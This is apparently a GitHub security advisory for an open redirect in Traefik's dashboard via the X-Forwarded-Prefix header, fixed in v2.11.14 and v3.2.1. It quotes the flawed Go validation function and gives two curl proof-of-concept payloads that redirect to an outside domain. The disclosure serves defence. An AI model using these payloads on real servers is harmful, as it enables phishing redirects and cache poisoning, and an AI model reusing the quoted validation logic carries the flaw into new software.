GHSA-h924-8g65-j9wgMedium
Traefik's X-Forwarded-Prefix Header still allows for Open Redirect
🔗 CVE IDs covered (1)
📋 Description
Impact
There is a vulnerability in Traefik that allows the client to provide the X-Forwarded-Prefix header from an untrusted source.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.14
- https://github.com/traefik/traefik/releases/tag/v3.2.1
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
Details
The Traefik API dashboard component tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:
http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound)
func safePrefix(req *http.Request) string {
prefix := req.Header.Get("X-Forwarded-Prefix")
if prefix == "" {
return ""
}
parse, err := url.Parse(prefix)
if err != nil {
return ""
}
return parse.Path
}
PoC
An attacker can bypass this by sending the following payload:
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
or similar:
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
Impact
Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable.
🎯 Affected products2
- go/github.com/traefik/traefik/v2:< 2.11.14
- go/github.com/traefik/traefik/v3:< 3.2.1
🔗 References (6)
- https://github.com/traefik/traefik/security/advisories/GHSA-h924-8g65-j9wg
- https://nvd.nist.gov/vuln/detail/CVE-2024-52003
- https://github.com/traefik/traefik/pull/11253
- https://github.com/traefik/traefik/releases/tag/v2.11.14
- https://github.com/traefik/traefik/releases/tag/v3.2.1
- https://github.com/advisories/GHSA-h924-8g65-j9wg